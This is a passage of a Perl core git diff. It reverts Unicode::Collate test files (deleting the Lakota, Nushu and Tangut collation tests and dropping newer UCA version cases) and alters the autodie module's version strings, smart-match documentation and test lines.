pack('U', 0xF1))); ok($objFil->eq("N\x{303}", pack('U', 0xD1))); -# 16 +# 14 $objFil->change(upper_before_lower => 1); @@ -73,4 +71,4 @@ ok($objFil->gt("ng", "Ng")); ok($objFil->gt("Ng", "NG")); ok($objFil->gt("n\x{303}", "N\x{303}")); -# 19 +# 17 diff --git a/cpan/Unicode-Collate/t/loc_lkt.t b/cpan/Unicode-Collate/t/loc_lkt.t deleted file mode 100644 index b3c0aa1b6da1..000000000000 --- a/cpan/Unicode-Collate/t/loc_lkt.t +++ /dev/null @@ -1,92 +0,0 @@ - -BEGIN { - unless ('A' eq pack('U', 0x41)) { - print "1..0 # Unicode::Collate cannot pack a Unicode code point\n"; - exit 0; - } - unless (0x41 == unpack('U', 'A')) { - print "1..0 # Unicode::Collate cannot get a Unicode code point\n"; - exit 0; - } - if ($ENV{PERL_CORE}) { - chdir('t') if -d 't'; - @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib); - } -} - -use strict; -use warnings; -BEGIN { $| = 1; print "1..37\n"; } -my $count = 0; -sub ok ($;$) { - my $p = my $r = shift; - if (@_) { - my $x = shift; - $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x; - } - print $p ? "ok" : "not ok", ' ', ++$count, "\n"; -} - -use Unicode::Collate::Locale; - -ok(1); - -######################### - -my $objLkt = Unicode::Collate::Locale-> - new(locale => 'LKT', normalization => undef); - -ok($objLkt->getlocale, 'lkt'); - -$objLkt->change(level => 1); - -ok($objLkt->lt("c", "c\x{30C}")); -ok($objLkt->lt("cz","c\x{30C}")); -ok($objLkt->gt("d", "c\x{30C}")); -ok($objLkt->lt("g", "g\x{30C}")); -ok($objLkt->lt("gz","g\x{30C}")); -ok($objLkt->gt("h", "g\x{30C}")); -ok($objLkt->lt("h", "h\x{30C}")); -ok($objLkt->lt("hz","h\x{30C}")); -ok($objLkt->gt("i", "h\x{30C}")); -ok($objLkt->lt("s", "s\x{30C}")); -ok($objLkt->lt("sz","s\x{30C}")); -ok($objLkt->gt("t", "s\x{30C}")); -ok($objLkt->lt("z", "z\x{30C}")); -ok($objLkt->lt("zz", "z\x{30C}")); -ok($objLkt->lt("z\x{30C}", "\x{292}")); # U+0292 EZH - -# 17 - -$objLkt->change(level => 2); - -ok($objLkt->eq("c\x{30C}", "C\x{30C}")); -ok($objLkt->eq("g\x{30C}", "G\x{30C}")); -ok($objLkt->eq("h\x{30C}", "H\x{30C}")); -ok($objLkt->eq("s\x{30C}", "S\x{30C}")); -ok($objLkt->eq("z\x{30C}", "Z\x{30C}")); - -# 22 - -$objLkt->change(level => 3); - -ok($objLkt->lt("c\x{30C}", "C\x{30C}")); -ok($objLkt->lt("g\x{30C}", "G\x{30C}")); -ok($objLkt->lt("h\x{30C}", "H\x{30C}")); -ok($objLkt->lt("s\x{30C}", "S\x{30C}")); -ok($objLkt->lt("z\x{30C}", "Z\x{30C}")); - -# 27 - -ok($objLkt->eq("c\x{30C}", "\x{10D}")); -ok($objLkt->eq("C\x{30C}", "\x{10C}")); -ok($objLkt->eq("g\x{30C}", "\x{1E7}")); -ok($objLkt->eq("G\x{30C}", "\x{1E6}")); -ok($objLkt->eq("h\x{30C}", "\x{21F}")); -ok($objLkt->eq("H\x{30C}", "\x{21E}")); -ok($objLkt->eq("s\x{30C}", "\x{161}")); -ok($objLkt->eq("S\x{30C}", "\x{160}")); -ok($objLkt->eq("z\x{30C}", "\x{17E}")); -ok($objLkt->eq("Z\x{30C}", "\x{17D}")); - -# 37 diff --git a/cpan/Unicode-Collate/t/loc_pl.t b/cpan/Unicode-Collate/t/loc_pl.t index 6f135c5ced3b..5797b7d75d7c 100644 --- a/cpan/Unicode-Collate/t/loc_pl.t +++ b/cpan/Unicode-Collate/t/loc_pl.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..73\n"; } +BEGIN { $| = 1; print "1..65\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -41,32 +41,24 @@ ok($objPl->getlocale, 'pl'); $objPl->change(level => 1); ok($objPl->lt("a", "a\x{328}")); -ok($objPl->lt("az","a\x{328}")); ok($objPl->gt("b", "a\x{328}")); ok($objPl->lt("c", "c\x{301}")); -ok($objPl->lt("cz","c\x{301}")); ok($objPl->gt("d", "c\x{301}")); ok($objPl->lt("e", "e\x{328}")); -ok($objPl->lt("ez","e\x{328}")); ok($objPl->gt("f", "e\x{328}")); ok($objPl->lt("l", "l\x{335}")); -ok($objPl->lt("lz","l\x{335}")); ok($objPl->gt("m", "l\x{335}")); ok($objPl->lt("n", "n\x{301}")); -ok($objPl->lt("nz","n\x{301}")); ok($objPl->gt("o", "n\x{301}")); ok($objPl->lt("o", "o\x{301}")); -ok($objPl->lt("oz","o\x{301}")); ok($objPl->gt("p", "o\x{301}")); ok($objPl->lt("s", "s\x{301}")); -ok($objPl->lt("sz","s\x{301}")); ok($objPl->gt("t", "s\x{301}")); ok($objPl->lt("z", "z\x{301}")); -ok($objPl->lt("zz","z\x{301}")); ok($objPl->lt("z\x{301}", "z\x{307}")); ok($objPl->lt("z\x{307}", "\x{292}")); # U+0292 EZH -# 27 +# 19 $objPl->change(level => 2); @@ -80,7 +72,7 @@ ok($objPl->eq("s\x{301}", "S\x{301}")); ok($objPl->eq("z\x{301}", "Z\x{301}")); ok($objPl->eq("z\x{307}", "Z\x{307}")); -# 36 +# 28 $objPl->change(level => 3); @@ -94,7 +86,7 @@ ok($objPl->lt("s\x{301}", "S\x{301}")); ok($objPl->lt("z\x{301}", "Z\x{301}")); ok($objPl->lt("z\x{307}", "Z\x{307}")); -# 45 +# 37 ok($objPl->eq("a\x{328}", "\x{105}")); ok($objPl->eq("A\x{328}", "\x{104}")); @@ -125,4 +117,4 @@ ok($objPl->eq("Z\x{341}", "\x{179}")); ok($objPl->eq("z\x{307}", "\x{17C}")); ok($objPl->eq("Z\x{307}", "\x{17B}")); -# 73 +# 65 diff --git a/cpan/Unicode-Collate/t/loc_se.t b/cpan/Unicode-Collate/t/loc_se.t index 1b671fd95a92..0908e8090246 100644 --- a/cpan/Unicode-Collate/t/loc_se.t +++ b/cpan/Unicode-Collate/t/loc_se.t @@ -257,14 +257,14 @@ ok($objSe->eq("A\x{308}\x{304}", "\x{1DE}")); ok($objSe->eq("o\x{308}\x{304}", "\x{22B}")); ok($objSe->eq("O\x{308}\x{304}", "\x{22A}")); -ok($objSe->eq("o\x{303}\x{301}", "\x{1E4D}")); -ok($objSe->eq("O\x{303}\x{301}", "\x{1E4C}")); +ok($objSe->eq("o\x{303}\x{301}","\x{1E4D}")); +ok($objSe->eq("O\x{303}\x{301}","\x{1E4C}")); ok($objSe->eq("o\x{303}\x{304}", "\x{22D}")); ok($objSe->eq("O\x{303}\x{304}", "\x{22C}")); -ok($objSe->eq("o\x{303}\x{308}", "\x{1E4F}")); -ok($objSe->eq("O\x{303}\x{308}", "\x{1E4E}")); -ok($objSe->eq("o\x{303}\x{31B}", "\x{1EE1}")); -ok($objSe->eq("O\x{303}\x{31B}", "\x{1EE0}")); +ok($objSe->eq("o\x{303}\x{308}","\x{1E4F}")); +ok($objSe->eq("O\x{303}\x{308}","\x{1E4E}")); +ok($objSe->eq("o\x{303}\x{31B}","\x{1EE1}")); +ok($objSe->eq("O\x{303}\x{31B}","\x{1EE0}")); ok($objSe->eq("o\x{302}\x{300}", "\x{1ED3}")); ok($objSe->eq("O\x{302}\x{300}", "\x{1ED2}")); diff --git a/cpan/Unicode-Collate/t/loc_wo.t b/cpan/Unicode-Collate/t/loc_wo.t index 47315364091c..7cf22125dc9f 100644 --- a/cpan/Unicode-Collate/t/loc_wo.t +++ b/cpan/Unicode-Collate/t/loc_wo.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..44\n"; } +BEGIN { $| = 1; print "1..40\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -41,21 +41,17 @@ ok($objWo->getlocale, 'wo'); $objWo->change(level => 1); ok($objWo->lt("a", "a\x{300}")); -ok($objWo->lt("az","a\x{300}")); ok($objWo->gt("b", "a\x{300}")); ok($objWo->lt("e", "e\x{301}")); -ok($objWo->lt("ez","e\x{301}")); ok($objWo->lt("e\x{301}", "e\x{308}")); ok($objWo->gt("f", "e\x{308}")); ok($objWo->lt("n", "n\x{303}")); -ok($objWo->lt("nz","n\x{303}")); ok($objWo->lt("n\x{303}", "\x{14B}")); ok($objWo->gt("o", "\x{14B}")); ok($objWo->lt("o", "o\x{301}")); -ok($objWo->lt("oz","o\x{301}")); ok($objWo->gt("p", "o\x{301}")); -# 16 +# 12 $objWo->change(level => 2); @@ -66,7 +62,7 @@ ok($objWo->eq("n\x{303}", "N\x{303}")); ok($objWo->eq( "\x{14B}", "\x{14A}")); ok($objWo->eq("o\x{301}", "O\x{301}")); -# 22 +# 18 $objWo->change(level => 3); @@ -77,7 +73,7 @@ ok($objWo->lt("n\x{303}", "N\x{303}")); ok($objWo->lt( "\x{14B}", "\x{14A}")); ok($objWo->lt("o\x{301}", "O\x{301}")); -# 28 +# 24 ok($objWo->eq("a\x{300}", pack('U', 0xE0))); ok($objWo->eq("a\x{340}", pack('U', 0xE0))); @@ -96,4 +92,4 @@ ok($objWo->eq("o\x{341}", pack('U', 0xF3))); ok($objWo->eq("O\x{301}", pack('U', 0xD3))); ok($objWo->eq("O\x{341}", pack('U', 0xD3))); -# 44 +# 40 diff --git a/cpan/Unicode-Collate/t/loc_yo.t b/cpan/Unicode-Collate/t/loc_yo.t index c99beaf37e57..f3f4753172fb 100644 --- a/cpan/Unicode-Collate/t/loc_yo.t +++ b/cpan/Unicode-Collate/t/loc_yo.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..36\n"; } +BEGIN { $| = 1; print "1..33\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -41,19 +41,16 @@ ok($objYo->getlocale, 'yo'); $objYo->change(level => 1); ok($objYo->lt("e", "e\x{323}")); -ok($objYo->lt("ez","e\x{323}")); ok($objYo->gt("f", "e\x{323}")); ok($objYo->lt("g", "gb")); ok($objYo->lt("gz","gb")); ok($objYo->gt("h", "gb")); ok($objYo->lt("o", "o\x{323}")); -ok($objYo->lt("oz","o\x{323}")); ok($objYo->gt("p", "o\x{323}")); ok($objYo->lt("s", "s\x{323}")); -ok($objYo->lt("sz","s\x{323}")); ok($objYo->gt("t", "s\x{323}")); -# 14 +# 11 $objYo->change(level => 2); @@ -63,7 +60,7 @@ ok($objYo->eq("Gb", "GB")); ok($objYo->eq("o\x{323}", "O\x{323}")); ok($objYo->eq("s\x{323}", "S\x{323}")); -# 19 +# 16 $objYo->change(level => 3); @@ -73,7 +70,7 @@ ok($objYo->lt("Gb", "GB")); ok($objYo->lt("o\x{323}", "O\x{323}")); ok($objYo->lt("s\x{323}", "S\x{323}")); -# 24 +# 21 ok($objYo->eq("e\x{323}", "\x{1EB9}")); ok($objYo->eq("E\x{323}", "\x{1EB8}")); @@ -82,8 +79,6 @@ ok($objYo->eq("O\x{323}", "\x{1ECC}")); ok($objYo->eq("s\x{323}", "\x{1E63}")); ok($objYo->eq("S\x{323}", "\x{1E62}")); -# 30 - ok($objYo->eq("e\x{323}\x{302}", "\x{1EC7}")); ok($objYo->eq("E\x{323}\x{302}", "\x{1EC6}")); ok($objYo->eq("o\x{323}\x{302}", "\x{1ED9}")); @@ -91,4 +86,4 @@ ok($objYo->eq("O\x{323}\x{302}", "\x{1ED8}")); ok($objYo->eq("o\x{323}\x{31B}", "\x{1EE3}")); ok($objYo->eq("O\x{323}\x{31B}", "\x{1EE2}")); -# 36 +# 33 diff --git a/cpan/Unicode-Collate/t/nushu.t b/cpan/Unicode-Collate/t/nushu.t deleted file mode 100644 index 4293a9af5deb..000000000000 --- a/cpan/Unicode-Collate/t/nushu.t +++ /dev/null @@ -1,73 +0,0 @@ - -BEGIN { - unless ('A' eq pack('U', 0x41)) { - print "1..0 # Unicode::Collate cannot pack a Unicode code point\n"; - exit 0; - } - unless (0x41 == unpack('U', 'A')) { - print "1..0 # Unicode::Collate cannot get a Unicode code point\n"; - exit 0; - } - if ($ENV{PERL_CORE}) { - chdir('t') if -d 't'; - @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib); - } -} - -use strict; -use warnings; -BEGIN { $| = 1; print "1..185\n"; } # 5 + 12 x @Versions -my $count = 0; -sub ok ($;$) { - my $p = my $r = shift; - if (@_) { - my $x = shift; - $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x; - } - print $p ? "ok" : "not ok", ' ', ++$count, "\n"; -} - -use Unicode::Collate; - -ok(1); - -######################### - -my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); - -my $Collator = Unicode::Collate->new( - table => 'keys.txt', - normalization => undef, - UCA_Version => 36, -); - -ok($Collator->viewSortKey("\x{1B170}"), - '[FB01 8000 | 0020 | 0002 | FFFF |]'); -ok($Collator->viewSortKey("\x{1B171}"), - '[FB01 8001 | 0020 | 0002 | FFFF |]'); -ok($Collator->viewSortKey("\x{1B200}"), - '[FB01 8090 | 0020 | 0002 | FFFF |]'); -ok($Collator->viewSortKey("\x{1B2FB}"), - '[FB01 818B | 0020 | 0002 | FFFF |]'); - -# Nushu < CJK UI (4E00) < Unassigned. - -# 1B170..1B2FB are Nushu Characters since UCA_Version 36 (Unicode 10.0). - -for my $v (@Versions) { - $Collator->change(UCA_Version => $v); - - ok($Collator->cmp("\x{1B16F}", "\x{4E00}") == 1); - ok($Collator->cmp("\x{1B170}", "\x{4E00}") == ($v >= 36 ? -1 : 1)); - ok($Collator->cmp("\x{1B171}", "\x{4E00}") == ($v >= 36 ? -1 : 1)); - ok($Collator->cmp("\x{1B1FF}", "\x{4E00}") == ($v >= 36 ? -1 : 1)); - ok($Collator->cmp("\x{1B200}", "\x{4E00}") == ($v >= 36 ? -1 : 1)); - ok($Collator->cmp("\x{1B2FB}", "\x{4E00}") == ($v >= 36 ? -1 : 1)); - ok($Collator->cmp("\x{1B2FC}", "\x{4E00}") == 1); - ok($Collator->cmp("\x{1B2FF}", "\x{4E00}") == 1); - - ok($Collator->lt("\x{1B170}", "\x{1B171}")); - ok($Collator->lt("\x{1B171}", "\x{1B1FF}")); - ok($Collator->lt("\x{1B1FF}", "\x{1B200}")); - ok($Collator->lt("\x{1B200}", "\x{1B2FB}")); -} diff --git a/cpan/Unicode-Collate/t/overcjk0.t b/cpan/Unicode-Collate/t/overcjk0.t index 12e599de583b..f281aeb89df0 100644 --- a/cpan/Unicode-Collate/t/overcjk0.t +++ b/cpan/Unicode-Collate/t/overcjk0.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..696\n"; } # 6 + 46 x @Versions +BEGIN { $| = 1; print "1..513\n"; } # 6 + 39 x @Versions my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -60,16 +60,14 @@ ok($ignoreCJK->lt("Pe\x{5B57}rl", "Perl")); # 'r' is unassigned. # 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2). # 9FCC is CJK UI since UCA_Version 24 (Unicode 6.1). # 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0). -# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0). # 3400..4DB5 are CJK UI Ext.A since UCA_Version 8 (Unicode 3.0). # 20000..2A6D6 are CJK UI Ext.B since UCA_Version 8 (Unicode 3.1). # 2A700..2B734 are CJK UI Ext.C since UCA_Version 20 (Unicode 5.2). # 2B740..2B81D are CJK UI Ext.D since UCA_Version 22 (Unicode 6.0). # 2B820..2CEA1 are CJK UI Ext.E since UCA_Version 32 (Unicode 8.0). -# 2CEB0..2EBE0 are CJK UI Ext.F since UCA_Version 36 (Unicode 10.0). -my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); +my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32); for my $v (@Versions) { $ignoreCJK->change(UCA_Version => $v); @@ -92,11 +90,8 @@ for my $v (@Versions) { ok($ignoreCJK->cmp("\x{9FCF}", "") == ($v >= 32 ? 0 : 1)); ok($ignoreCJK->cmp("\x{9FD0}", "") == ($v >= 32 ? 0 : 1)); ok($ignoreCJK->cmp("\x{9FD5}", "") == ($v >= 32 ? 0 : 1)); - ok($ignoreCJK->cmp("\x{9FD6}", "") == ($v >= 36 ? 0 : 1)); - ok($ignoreCJK->cmp("\x{9FDF}", "") == ($v >= 36 ? 0 : 1)); - ok($ignoreCJK->cmp("\x{9FEA}", "") == ($v >= 36 ? 0 : 1)); - ok($ignoreCJK->cmp("\x{9FEB}", "") == 1); - ok($ignoreCJK->cmp("\x{9FFF}", "") == 1); + ok($ignoreCJK->cmp("\x{9FD6}", "") == 1); + ok($ignoreCJK->cmp("\x{9FDF}", "") == 1); # Ext.A ok($ignoreCJK->cmp("\x{3400}", "") == 0); @@ -127,11 +122,5 @@ for my $v (@Versions) { ok($ignoreCJK->cmp("\x{2CEA1}","") == ($v >= 32 ? 0 : 1)); ok($ignoreCJK->cmp("\x{2CEA2}","") == 1); ok($ignoreCJK->cmp("\x{2CEAF}","") == 1); - - # Ext.F - ok($ignoreCJK->cmp("\x{2CEB0}","") == ($v >= 36 ? 0 : 1)); - ok($ignoreCJK->cmp("\x{2EBE0}","") == ($v >= 36 ? 0 : 1)); - ok($ignoreCJK->cmp("\x{2EBE1}","") == 1); - ok($ignoreCJK->cmp("\x{2EBEF}","") == 1); } diff --git a/cpan/Unicode-Collate/t/overcjk1.t b/cpan/Unicode-Collate/t/overcjk1.t index 8441979425c4..87f5eaac85c6 100644 --- a/cpan/Unicode-Collate/t/overcjk1.t +++ b/cpan/Unicode-Collate/t/overcjk1.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..356\n"; } # 11 + 23 x @Versions +BEGIN { $| = 1; print "1..258\n"; } # 11 + 19 x @Versions my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -60,15 +60,13 @@ ok($overCJK->lt("a\x{4E03}", "A\x{4E01}")); ##### -# 4E00..9FA5 are CJK UI. # 9FA6..9FBB are CJK UI since UCA_Version 14 (Unicode 4.1). # 9FBC..9FC3 are CJK UI since UCA_Version 18 (Unicode 5.1). # 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2). # 9FCC is CJK UI since UCA_Version 24 (Unicode 6.1). # 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0). -# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0). -my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); +my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32); for my $v (@Versions) { $overCJK->change(UCA_Version => $v); @@ -89,11 +87,7 @@ for my $v (@Versions) { ok($overCJK->cmp("a\x{9FCC}", "A\x{9FCD}") == ($v >= 32 ? 1 : -1)); ok($overCJK->cmp("a\x{9FCD}", "A\x{9FCF}") == ($v >= 32 ? 1 : -1)); ok($overCJK->cmp("a\x{9FCF}", "A\x{9FD5}") == ($v >= 32 ? 1 : -1)); - ok($overCJK->cmp("a\x{9FD5}", "A\x{9FD6}") == ($v >= 36 ? 1 : -1)); - ok($overCJK->cmp("a\x{9FD6}", "A\x{9FDF}") == ($v >= 36 ? 1 : -1)); - ok($overCJK->cmp("a\x{9FDF}", "A\x{9FEA}") == ($v >= 36 ? 1 : -1)); - ok($overCJK->cmp("a\x{9FEA}", "A\x{9FEB}") == -1); - ok($overCJK->cmp("a\x{9FEB}", "A\x{9FEF}") == -1); - ok($overCJK->cmp("a\x{9FEF}", "A\x{9FFF}") == -1); + ok($overCJK->cmp("a\x{9FD5}", "A\x{9FD6}") == -1); + ok($overCJK->cmp("a\x{9FD6}", "A\x{9FDF}") == -1); } diff --git a/cpan/Unicode-Collate/t/tangut.t b/cpan/Unicode-Collate/t/tangut.t deleted file mode 100644 index 171a20566195..000000000000 --- a/cpan/Unicode-Collate/t/tangut.t +++ /dev/null @@ -1,88 +0,0 @@ - -BEGIN { - unless ('A' eq pack('U', 0x41)) { - print "1..0 # Unicode::Collate cannot pack a Unicode code point\n"; - exit 0; - } - unless (0x41 == unpack('U', 'A')) { - print "1..0 # Unicode::Collate cannot get a Unicode code point\n"; - exit 0; - } - if ($ENV{PERL_CORE}) { - chdir('t') if -d 't'; - @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib); - } -} - -use strict; -use warnings; -BEGIN { $| = 1; print "1..380\n"; } # 5 + 25 x @Versions -my $count = 0; -sub ok ($;$) { - my $p = my $r = shift; - if (@_) { - my $x = shift; - $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x; - } - print $p ? "ok" : "not ok", ' ', ++$count, "\n"; -} - -use Unicode::Collate; - -ok(1); - -######################### - -my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); - -my $Collator = Unicode::Collate->new( - table => 'keys.txt', - normalization => undef, - UCA_Version => 34, -); - -ok($Collator->viewSortKey("\x{17000}"), - '[FB00 8000 | 0020 | 0002 | FFFF FFFF |]'); -ok($Collator->viewSortKey("\x{17001}"), - '[FB00 8001 | 0020 | 0002 | FFFF FFFF |]'); -ok($Collator->viewSortKey("\x{18800}"), - '[FB00 9800 | 0020 | 0002 | FFFF FFFF |]'); -ok($Collator->viewSortKey("\x{18AF2}"), - '[FB00 9AF2 | 0020 | 0002 | FFFF FFFF |]'); - -# Tangut < CJK UI (4E00) < Unassigned. - -# 17000..187EC are Tangut Ideographs since UCA_Version 34 (Unicode 9.0). -# 18800..18AF2 are Tangut Components since UCA_Version 34 (Unicode 9.0). - -for my $v (@Versions) { - $Collator->change(UCA_Version => $v); - - ok($Collator->cmp("\x{16FFF}", "\x{4E00}") == 1); - ok($Collator->cmp("\x{17000}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{17001}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{17FFF}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{18000}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{187EB}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{187EC}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{187ED}", "\x{4E00}") == 1); - ok($Collator->cmp("\x{187FE}", "\x{4E00}") == 1); - ok($Collator->cmp("\x{187FF}", "\x{4E00}") == 1); - ok($Collator->cmp("\x{18800}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{18801}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{18AF1}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{18AF2}", "\x{4E00}") == ($v >= 34 ? -1 : 1)); - ok($Collator->cmp("\x{18AF3}", "\x{4E00}") == 1); - ok($Collator->cmp("\x{18AFF}", "\x{4E00}") == 1); - - ok($Collator->lt("\x{17000}", "\x{17001}")); - ok($Collator->lt("\x{17001}", "\x{17002}")); - ok($Collator->lt("\x{17002}", "\x{17FFF}")); - ok($Collator->lt("\x{17FFF}", "\x{18000}")); - ok($Collator->lt("\x{18000}", "\x{187EB}")); - ok($Collator->lt("\x{187EB}", "\x{187EC}")); - - ok($Collator->lt("\x{18800}", "\x{18801}")); - ok($Collator->lt("\x{18801}", "\x{18AF1}")); - ok($Collator->lt("\x{18AF1}", "\x{18AF2}")); -} diff --git a/cpan/Unicode-Collate/t/version.t b/cpan/Unicode-Collate/t/version.t index 37b612617abd..f1dde6f2e200 100644 --- a/cpan/Unicode-Collate/t/version.t +++ b/cpan/Unicode-Collate/t/version.t @@ -34,8 +34,8 @@ ok(1); ######################### # Fix me when UCA and/or keys.txt is upgraded. -my $UCA_Version = "34"; -my $Base_Unicode_Version = "9.0.0"; +my $UCA_Version = "32"; +my $Base_Unicode_Version = "8.0.0"; my $Key_Version = "3.1.1"; ok(Unicode::Collate::UCA_Version, $UCA_Version); diff --git a/cpan/Unicode-Collate/t/view.t b/cpan/Unicode-Collate/t/view.t index 63a0e922be30..0cbbba025906 100644 --- a/cpan/Unicode-Collate/t/view.t +++ b/cpan/Unicode-Collate/t/view.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..174\n"; } # 62 + 8 x @Versions +BEGIN { $| = 1; print "1..110\n"; } # 62 + 4 x @Versions my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -268,35 +268,26 @@ ok($el->viewSortKey("L\x{FF2C}\x{216C}\x{2112}\x{24C1}"), ##### 62 -my @Versions = (9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); +my @Versions = (9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32); for my $v (@Versions) { $Collator->change(UCA_Version => $v); my $app = $v >= 26 ? ' |]' : ']'; - my $sec = $v >= 36 ? '' : ' FFFF'; $Collator->change(variable => 'Shifted', level => 4); ok($Collator->viewSortKey("1+2"), '[0A0C 0A0D | 0020 0020 | 0002 0002 | FFFF 039F FFFF'.$app); - ok($Collator->viewSortKey("\x{4E02}"), - '[FB40 CE02 | 0020 | 0002 | FFFF'.$sec.$app); $Collator->change(variable => 'Shift-Trimmed'); ok($Collator->viewSortKey("1+2"), '[0A0C 0A0D | 0020 0020 | 0002 0002 | 039F'.$app); - ok($Collator->viewSortKey("\x{4E02}"), - '[FB40 CE02 | 0020 | 0002 |'.$app); $Collator->change(variable => 'Non-ignorable', level => 3); ok($Collator->viewSortKey("1+2"), '[0A0C 039F 0A0D | 0020 0020 0020 | 0002 0002 0002 |]'); - ok($Collator->viewSortKey("\x{4E02}"), - '[FB40 CE02 | 0020 | 0002 |]'); $Collator->change(variable => 'Blanked'); ok($Collator->viewSortKey("1+2"), '[0A0C 0A0D | 0020 0020 | 0002 0002 |]'); - ok($Collator->viewSortKey("\x{4E02}"), - '[FB40 CE02 | 0020 | 0002 |]'); } diff --git a/cpan/autodie/lib/autodie/exception.pm b/cpan/autodie/lib/autodie/exception.pm index 8743719cb84d..73058085e000 100644 --- a/cpan/autodie/lib/autodie/exception.pm +++ b/cpan/autodie/lib/autodie/exception.pm @@ -4,7 +4,7 @@ use strict; use warnings; use Carp qw(croak); -our $VERSION = '2.29002'; +our $VERSION = '2.29'; # VERSION: Generated by DZP::OurPkg:Version # ABSTRACT: Exceptions from autodying functions. our $DEBUG = 0; @@ -195,10 +195,12 @@ sub eval_error { return $_[0]->{$PACKAGE}{eval_error}; } if ( $e->matches('open') ) { ... } - if ( 'open' ~~ $e ) { ... } + if ( $e ~~ 'open' ) { ... } C is used to determine whether a -given exception matches a particular role. +given exception matches a particular role. On Perl 5.10, +using smart-match (C<~~>) with an C object +will use C underneath. An exception is considered to match a string if: @@ -219,18 +221,6 @@ C subroutine does C<:file>, C<:io> and C<:all>. See L for further information. -On Perl 5.10 and above, using smart-match (C<~~>) with an -C object will use C underneath. This module -used to recommend using smart-match with the exception object on the left -hand side, but in future Perls that is likely to stop working. -The smart-match facility of this class should only be used with the -exception object on the right hand side. Having the exception object on -the right is both future-proof and portable to older Perls, back to 5.10. -Beware that this facility can only -be relied upon when it is certain that the exception object actually is -an C object; it is no more capable than an explicit -call to the C method. - =back =cut diff --git a/cpan/autodie/lib/autodie/hints.pm b/cpan/autodie/lib/autodie/hints.pm index be9fbceb4757..beaefcc28a92 100644 --- a/cpan/autodie/lib/autodie/hints.pm +++ b/cpan/autodie/lib/autodie/hints.pm @@ -5,7 +5,7 @@ use warnings; use constant PERL58 => ( $] < 5.009 ); -our $VERSION = '2.29001'; +our $VERSION = '2.29'; # VERSION: Generated by DZP::OurPkg:Version # ABSTRACT: Provide hints about user subroutines to autodie @@ -115,9 +115,8 @@ has been checked. =head2 Example hints -Hints may consist of subroutine references, objects overloading -smart-match, regular expressions, and depending on Perl version possibly -other things. You can specify different hints for how +Hints may consist of scalars, array references, regular expressions and +subroutine references. You can specify different hints for how failure should be identified in scalar and list contexts. These examples apply for use in the C subroutine and when @@ -126,16 +125,16 @@ calling Cset_hints_for()>. The most common context-specific hints are: # Scalar failures always return undef: - { scalar => sub { !defined($_[0]) } } + { scalar => undef } # Scalar failures return any false value [default expectation]: { scalar => sub { ! $_[0] } } # Scalar failures always return zero explicitly: - { scalar => sub { defined($_[0]) && $_[0] eq '0' } } + { scalar => '0' } # List failures always return an empty list: - { list => sub { !@_ } } + { list => [] } # List failures return () or (undef) [default expectation]: { list => sub { ! @_ || @_ == 1 && !defined $_[0] } } @@ -152,7 +151,7 @@ The most common context-specific hints are: \&foo, { scalar => qr/^ _? FAIL $/xms, - list => sub { @_ == 1 && $_[0] eq -1 }, + list => [-1], } ); @@ -160,8 +159,8 @@ The most common context-specific hints are: autodie::hints->set_hints_for( \&foo, { - scalar => sub { defined($_[0]) && $_[0] == 0 }, - list => sub { @_ == 1 && defined($_[0]) && $_[0] == 0 }, + scalar => 0, + list => [0], } ); diff --git a/cpan/autodie/t/exceptions.t b/cpan/autodie/t/exceptions.t index ab6f07de44ee..4e7545d1ee13 100644 --- a/cpan/autodie/t/exceptions.t +++ b/cpan/autodie/t/exceptions.t @@ -19,10 +19,10 @@ eval { }; ok($@, "Exception thrown" ); -ok('open' ~~ $@, "Exception from open" ); -ok(':file' ~~ $@, "Exception from open / class :file" ); 